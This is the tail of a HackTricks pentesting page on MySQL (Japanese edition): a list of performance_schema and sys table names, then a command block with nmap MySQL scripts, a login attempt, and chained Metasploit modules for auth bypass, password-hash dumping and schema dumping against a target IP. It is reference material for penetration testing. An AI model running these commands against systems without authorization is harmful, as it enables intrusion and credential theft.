events\_statements\_summary\_by\_account\_by\_event\_name\
|
||
events\_statements\_summary\_by\_digest\
|
||
events\_statements\_summary\_by\_host\_by\_event\_name\
|
||
events\_statements\_summary\_by\_program\
|
||
events\_statements\_summary\_by\_thread\_by\_event\_name\
|
||
events\_statements\_summary\_by\_user\_by\_event\_name\
|
||
events\_statements\_summary\_global\_by\_event\_name\
|
||
events\_transactions\_current\
|
||
events\_transactions\_history\
|
||
events\_transactions\_history\_long\
|
||
events\_transactions\_summary\_by\_account\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_host\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_thread\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_user\_by\_event\_name\
|
||
events\_transactions\_summary\_global\_by\_event\_name\
|
||
events\_waits\_current\
|
||
events\_waits\_history\
|
||
events\_waits\_history\_long\
|
||
events\_waits\_summary\_by\_account\_by\_event\_name\
|
||
events\_waits\_summary\_by\_host\_by\_event\_name\
|
||
events\_waits\_summary\_by\_instance\
|
||
events\_waits\_summary\_by\_thread\_by\_event\_name\
|
||
events\_waits\_summary\_by\_user\_by\_event\_name\
|
||
events\_waits\_summary\_global\_by\_event\_name\
|
||
file\_instances\
|
||
file\_summary\_by\_event\_name\
|
||
file\_summary\_by\_instance\
|
||
global\_status\
|
||
global\_variables\
|
||
host\_cache\
|
||
hosts\
|
||
memory\_summary\_by\_account\_by\_event\_name\
|
||
memory\_summary\_by\_host\_by\_event\_name\
|
||
memory\_summary\_by\_thread\_by\_event\_name\
|
||
memory\_summary\_by\_user\_by\_event\_name\
|
||
memory\_summary\_global\_by\_event\_name\
|
||
metadata\_locks\
|
||
mutex\_instances\
|
||
objects\_summary\_global\_by\_type\
|
||
performance\_timers\
|
||
prepared\_statements\_instances\
|
||
replication\_applier\_configuration\
|
||
replication\_applier\_status\
|
||
replication\_applier\_status\_by\_coordinator\
|
||
replication\_applier\_status\_by\_worker\
|
||
replication\_connection\_configuration\
|
||
replication\_connection\_status\
|
||
replication\_group\_member\_stats\
|
||
replication\_group\_members\
|
||
rwlock\_instances\
|
||
session\_account\_connect\_attrs\
|
||
session\_connect\_attrs\
|
||
session\_status\
|
||
session\_variables\
|
||
setup\_actors\
|
||
setup\_consumers\
|
||
setup\_instruments\
|
||
setup\_objects\
|
||
setup\_timers\
|
||
socket\_instances\
|
||
socket\_summary\_by\_event\_name\
|
||
socket\_summary\_by\_instance\
|
||
status\_by\_account\
|
||
status\_by\_host\
|
||
status\_by\_thread\
|
||
status\_by\_user\
|
||
table\_handles\
|
||
table\_io\_waits\_summary\_by\_index\_usage\
|
||
table\_io\_waits\_summary\_by\_table\
|
||
table\_lock\_waits\_summary\_by\_table\
|
||
threads\
|
||
user\_variables\_by\_thread\
|
||
users\
|
||
variables\_by\_thread
|
||
{% endtab %}
|
||
|
||
{% tab title="sys" %}
|
||
host\_summary\
|
||
host\_summary\_by\_file\_io\
|
||
host\_summary\_by\_file\_io\_type\
|
||
host\_summary\_by\_stages\
|
||
host\_summary\_by\_statement\_latency\
|
||
host\_summary\_by\_statement\_type\
|
||
innodb\_buffer\_stats\_by\_schema\
|
||
innodb\_buffer\_stats\_by\_table\
|
||
innodb\_lock\_waits\
|
||
io\_by\_thread\_by\_latency\
|
||
io\_global\_by\_file\_by\_bytes\
|
||
io\_global\_by\_file\_by\_latency\
|
||
io\_global\_by\_wait\_by\_bytes\
|
||
io\_global\_by\_wait\_by\_latency\
|
||
latest\_file\_io\
|
||
memory\_by\_host\_by\_current\_bytes\
|
||
memory\_by\_thread\_by\_current\_bytes\
|
||
memory\_by\_user\_by\_current\_bytes\
|
||
memory\_global\_by\_current\_bytes\
|
||
memory\_global\_total\
|
||
metrics\
|
||
processlist\
|
||
ps\_check\_lost\_instrumentation\
|
||
schema\_auto\_increment\_columns\
|
||
schema\_index\_statistics\
|
||
schema\_object\_overview\
|
||
schema\_redundant\_indexes\
|
||
schema\_table\_lock\_waits\
|
||
schema\_table\_statistics\
|
||
schema\_table\_statistics\_with\_buffer\
|
||
schema\_tables\_with\_full\_table\_scans\
|
||
schema\_unused\_indexes\
|
||
session\
|
||
session\_ssl\_status\
|
||
statement\_analysis\
|
||
statements\_with\_errors\_or\_warnings\
|
||
statements\_with\_full\_table\_scans\
|
||
statements\_with\_runtimes\_in\_95th\_percentile\
|
||
statements\_with\_sorting\
|
||
statements\_with\_temp\_tables\
|
||
sys\_config\
|
||
user\_summary\
|
||
user\_summary\_by\_file\_io\
|
||
user\_summary\_by\_file\_io\_type\
|
||
user\_summary\_by\_stages\
|
||
user\_summary\_by\_statement\_latency\
|
||
user\_summary\_by\_statement\_type\
|
||
version\
|
||
wait\_classes\_global\_by\_avg\_latency\
|
||
wait\_classes\_global\_by\_latency\
|
||
waits\_by\_host\_by\_latency\
|
||
waits\_by\_user\_by\_latency\
|
||
waits\_global\_by\_latency\
|
||
x$host\_summary\
|
||
x$host\_summary\_by\_file\_io\
|
||
x$host\_summary\_by\_file\_io\_type\
|
||
x$host\_summary\_by\_stages\
|
||
x$host\_summary\_by\_statement\_latency\
|
||
x$host\_summary\_by\_statement\_type\
|
||
x$innodb\_buffer\_stats\_by\_schema\
|
||
x$innodb\_buffer\_stats\_by\_table\
|
||
x$innodb\_lock\_waits\
|
||
x$io\_by\_thread\_by\_latency\
|
||
x$io\_global\_by\_file\_by\_bytes\
|
||
x$io\_global\_by\_file\_by\_latency\
|
||
x$io\_global\_by\_wait\_by\_bytes\
|
||
x$io\_global\_by\_wait\_by\_latency\
|
||
x$latest\_file\_io\
|
||
x$memory\_by\_host\_by\_current\_bytes\
|
||
x$memory\_by\_thread\_by\_current\_bytes\
|
||
x$memory\_by\_user\_by\_current\_bytes\
|
||
x$memory\_global\_by\_current\_bytes\
|
||
x$memory\_global\_total\
|
||
x$processlist\
|
||
x$ps\_digest\_95th\_percentile\_by\_avg\_us\
|
||
x$ps\_digest\_avg\_latency\_distribution\
|
||
x$ps\_schema\_table\_statistics\_io\
|
||
x$schema\_flattened\_keys\
|
||
x$schema\_index\_statistics\
|
||
x$schema\_table\_lock\_waits\
|
||
x$schema\_table\_statistics\
|
||
x$schema\_table\_statistics\_with\_buffer\
|
||
x$schema\_tables\_with\_full\_table\_scans\
|
||
x$session\
|
||
x$statement\_analysis\
|
||
x$statements\_with\_errors\_or\_warnings\
|
||
x$statements\_with\_full\_table\_scans\
|
||
x$statements\_with\_runtimes\_in\_95th\_percentile\
|
||
x$statements\_with\_sorting\
|
||
x$statements\_with\_temp\_tables\
|
||
x$user\_summary\
|
||
x$user\_summary\_by\_file\_io\
|
||
x$user\_summary\_by\_file\_io\_type\
|
||
x$user\_summary\_by\_stages\
|
||
x$user\_summary\_by\_statement\_latency\
|
||
x$user\_summary\_by\_statement\_type\
|
||
x$wait\_classes\_global\_by\_avg\_latency\
|
||
x$wait\_classes\_global\_by\_latency\
|
||
x$waits\_by\_host\_by\_latency\
|
||
x$waits\_by\_user\_by\_latency\
|
||
x$waits\_global\_by\_latency
|
||
```
|
||
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
||
Port_Number: 3306 #Comma separated if there is more than one.
|
||
Protocol_Description: MySql #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for MySql
|
||
Note: |
|
||
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-mysql
|
||
|
||
Entry_2:
|
||
Name: Nmap
|
||
Description: Nmap with MySql Scripts
|
||
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
|
||
|
||
Entry_3:
|
||
Name: MySql
|
||
Description: Attempt to connect to mysql server
|
||
Command: mysql -h {IP} -u {Username}@localhost
|
||
|
||
Entry_4:
|
||
Name: MySql consolesless mfs enumeration
|
||
Description: MySql enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||
|
||
```
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的な知識の促進を使命として**、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||
|
||
</details>
|